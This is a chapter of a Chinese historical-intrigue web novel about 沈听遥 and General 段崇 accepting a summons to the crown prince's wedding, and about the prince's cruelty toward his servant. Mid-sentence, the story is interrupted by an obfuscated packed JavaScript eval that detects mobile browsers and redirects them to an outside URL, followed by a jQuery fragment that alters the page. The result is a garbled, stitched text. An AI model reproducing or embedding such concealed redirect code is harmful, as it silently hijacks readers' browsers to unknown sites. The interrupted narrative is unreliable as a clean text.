24. 赴京

作品:《赴迢遥

    入夜,微风渐凉,吹动着湖面泛起层层碧波。月光从婆娑的树影中冒出头撒出点点银辉。


    几人趁着皎洁喝得酩酊大醉,坛中酒眼看着见底,众人眼神涣散,意识朦胧。林俨一个不注意打翻了杯中残酒,素衣白纱上透着一大块酒污。


    “无妨…无妨”


    林俨正欲将那坛中所剩无几的酒往自己杯子里添,沈听遥见状捂住坛口。


    “俨兄醉了,余下的我们明日再饮。”


    林俨不顾沈听遥的劝阻,将坛子一把夺去。


    “妗妗你要是累了你就回去歇息,我同段兄还有好多话没说……”


    段崇此刻脸颊涨红,浑身绵软无力,却依旧振振有词“我与俨兄一见如故,必须尽兴!”


    沈听遥暗暗怼段崇一肘击“怎么他胡闹你也跟着胡闹!”


    林俨此时已全然不辩方向,指着面前段崇的残影,怒斥道


    “我告诉你…妗妗是我…我的大恩人,你要是敢负她,我把你脑袋砍下来挂城门口。我林俨说到做到。”


    段崇嘟起嘴唇,全然没有了平日那般强硬,轻嗤一声“俨兄你要不问问,平时谁欺负谁,这悍妇…”


    还没等段崇把话说完,沈听遥就一巴掌呼在段崇头上。段崇虎躯一震,当即清醒过来瞥了一眼沈听遥后继续说


    “这悍妇…不让我进家门,还敲诈我三万人!”


    说着,段崇竟委屈地痛哭流涕,大声吼叫着“我堂堂一大将军,我让她…让她…哎!”


    沈听遥将将酒杯重重摔在桌子上,顷刻,杯盏边缘处出现细小裂纹。她斜视着段崇深埋在酒桌上的脸,一鼓作气揪着他耳朵就进了内院。


    “晓荷,你和段武安置好俨兄,我亲自处理这孽障。”


    段崇被沈听遥揪着疼得吱哇乱叫,那耳朵瞬间变得紫红发烫。


    “让你畅所欲言,还蹬鼻子上脸是吧!”


    沈听遥在屋中举起衣袖,掐这腰,一改往日端庄的形象,抡起床上的枕头向段崇揍去。


    “说谁悍妇呢!我让你说我!我让你说…”


    段崇躲着沈听遥在屋内四处逃窜,被她追着打。


    转天一早,他从剧烈的头痛中醒来,发现身上赫然多了几个鲜红的大手印。他拖着酸痛的腰勉强起身,脑海中不断重复着昨晚激烈的战况。


    “这悍妇趁人之危,越来越不像话了!”


    沈听遥却是得意得很,装作若无其事般替段崇盛着早膳。见段崇一瘸一拐地走过来,沈听遥忍俊不禁,将粥端到他面前。


    “景珩昨晚可是睡得不好?”


    段崇看着沈听遥小人得志的嘴脸,不由得翻了个白眼,阴阳怪气地说“托你的福,睡得不要太好!”


    “那…今晚继续。”


    段崇闻言,手中的汤勺一个不小心掉在地上,他偷瞄一眼沈听遥强装镇定的地捡起。


    “怎么没见俨兄?”


    “俨兄还有事,今天一大早就走了。”


    “此人豪放直爽,是个性情中人,若是早些相遇,我们或许能成知己呢。”


    沈听遥撅着嘴“哦~那将军是不是得感谢我这个搭桥之人?昨日情形,倒不像是我与故人重逢。”


    “我们男人之间的事,你自然不会懂。”


    沈听遥挑着眉,将茶碗放下。


    此时门外的阿全来报


    “将军,宫中的齐公公来访。”


    段崇不耐烦地将撂筷“近日这将军府还真是热闹,去看看。”


    “是。”


    沈听遥呡着新茶,自知齐公公来访所谓何事。看来林俨所闻不虚,无论是沈家还是沈司容,都有了下一步计划。自己决不能由着他们左右。


    “我们也去前厅看看。”


    前厅内,齐公公正笑脸相迎地同段崇讲着此行的目的。


    “哎呦~段将军,这宫中有喜事,您不到场有失规矩~”


    “边疆事务繁忙,况且从前这等事,我也参与,如今有何异同?”


    那公公一脸谄媚“这是太子大婚,太子点名要您到场,您若不去,小的没法交差~”


    段崇正欲拒绝,门外传来莺音阵阵。


    “齐公公特意来跑一趟,我们岂有不去的道理?”


    沈听遥将鼓鼓囊囊的钱袋子塞进齐公公的衣袖中,一把拉住段崇的胳膊,上前同齐公公攀谈。


    齐公公见沈听遥识规矩,笑得合不拢嘴。


    “都说段将军有一才智过人的美妾,今日一见,段将军真是好福气~”


    “公公哪里话,此行路途颠簸,当备些茶水钱。放心吧公公,请您告知陛下,我们一定前去赴宴。”


    “哎嘿~行,到时候我在陛下面前多美言几句。”


    “谢齐公公。”


    见齐公公身影渐远,沈听遥当即变了眼神。段崇不明白沈听遥为何自己往枪口上撞。


    “明明可以免了一场纷争,为何还要自己迎上去?”


    沈听遥瞧着段崇越发生疑的眉眼,娓娓道


    “你以为我们不去,祸事就找不上我们?将军可还记得我曾说过,要蒙住对方的眼睛,你可知谁是那眼睛?”


    段崇思索片刻,凝望沈听遥锐利地眼神立刻明白了她的意思。


    “你指的…是陛下?”


    他试探性地询问着,此前他只想着沈听遥如何对付沈家,全然忘记了还有这一层。


    “皇后迟迟不肯起兵,千方百计地拉拢群臣就是为了守住萧启的皇位。既如此,萧启明明已是太子为何还这般别有算计。我猜,陛下手中一定还有一张大牌,令人闻风丧胆,避之不及。”


    段崇轻挑起眉头“所以,你要揪出这张大牌?”


    “不,这张大牌早就出现了。我说过,唯有我们处于混沌之中,才能破解此局。去不去赴宴不要紧,要紧的是,我们能否堵住对方下一步路。”


    沈听遥心如明镜,自然知道皇后拐弯抹角到底是因为什么。只是段崇还不明白,又或者他是不相信。她亦不想让其明白,时机未到,过早的让他知道只是徒增烦恼。


    她亦不想让自己僵持不下陷入困局之中,只有主动出击才能打敌人一个措手不及。


    段崇虽不知她心中所想,却还是按照她的意愿去做,因为他知道自己平日杀敌无数,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16007734|178372||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    却对权谋世族一窍不通,沈听遥正好替他解决了这一难题。


    宫中此时传来亦段崇赴宴的消息,陛下不由得身心舒畅,将堆积在暗处的奏折全都一一批阅。


    此前,无论是阵仗多浩大的宴席,段崇都是避而不闻。陛下想见他也是能每逢年关或战事告捷,这二人父子不像父子,君臣不像君臣。陛下每每望月都能想起,幼时段崇稚嫩的眉眼望向他


    “父皇,为什么只有儿臣没有母妃了?”


    这个问题直到如今,他都不知如何来回答段崇。或许是出于对他的愧疚,每次见到他,陛下都有意提起回京一事,然而段崇都拒绝了。


    他拒绝恢复皇姓,拒绝寻找一位出身高贵的养母,拒绝回到这个吃人不吐骨头的京城,那里对他深深地恶意一点点侵蚀着他。或许再陛下眼里,他失去的只是一个微不足道的嫔妃,而对段崇来说,那是他的母亲,一个人一生只有一位母亲。


    陛下曾为其深深懊悔自责过,但他是天子,天子是不会有错的,没人能忤逆天子。就这样二人将这件事都埋藏在无人问津的心底,假装毫不在意。


    “将合婚书送入东宫吧。”


    “是,陛下。”


    邓公公将那一纸合婚书交于萧启,萧启将其放在桌案上纹丝未动,他全然没有新婚在即的喜悦。仍旧抬头望向那亲自提笔所著的《长乐赋》。他幽幽地晃着头,似乎很满意自己的旷世之作。


    “殿下,如今您与沈小姐婚期在即,这东西还是收起来吧。”


    他闻声斥责道“沈司容?她算个什么东西!她想嫁入这东宫就早该想到有这么一天。你认为…我会怕她?”


    广白低头小声嘟囔着


    “沈小姐同小夫人是同父异母的姐妹,殿下这般,岂不……”


    广白不敢继续说下去,萧启见他窝窝囊囊的样子,忙着转过身。


    “岂不什么?”


    广白含糊其辞“岂不有失规矩。”


    萧启闻言,刚有一点好心情就被他叨扰。随即给了他一记响亮的耳光。


    “你知道正旭被段崇赐了滴血刑,就是因为他说了不该说的话。即使段崇没有为难他,他回来也活不过三日,我若是知道我的女人被其他男人惦记,我只怕会比段崇更残忍。你这张嘴啊,管住了,万一哪天搭上这条命,可就不值了。”


    广白听闻当即跪在地上。


    “属下知错,属下再也不敢了。”


    萧启撇着嘴,不遗余力地将脚踩在他的脊背上。广白硬生生忍下这肝肠寸断之苦,任由他随意玩弄。


    “去,给我找几个美姬来,要像她的。”


    广白不敢反驳只好照着去做。


    越是婚约在即,萧启越是猖狂。近来,他竟招些青楼女子进宫,有时还不忘调侃自己父皇的妃妾。皇后对其置之不理,相比较于太子的形象,她更在意的是朝堂世族间的联络。


    说得好听些,萧启是太子,说得不好听些,谁是太子都无所谓,只要能为皇后所用,不过是个工具而已。人以群分,怪不得她能同沈伯堂为盟,二人本质上是同类人。在这偌大的权势斗争中,又能有几分真情?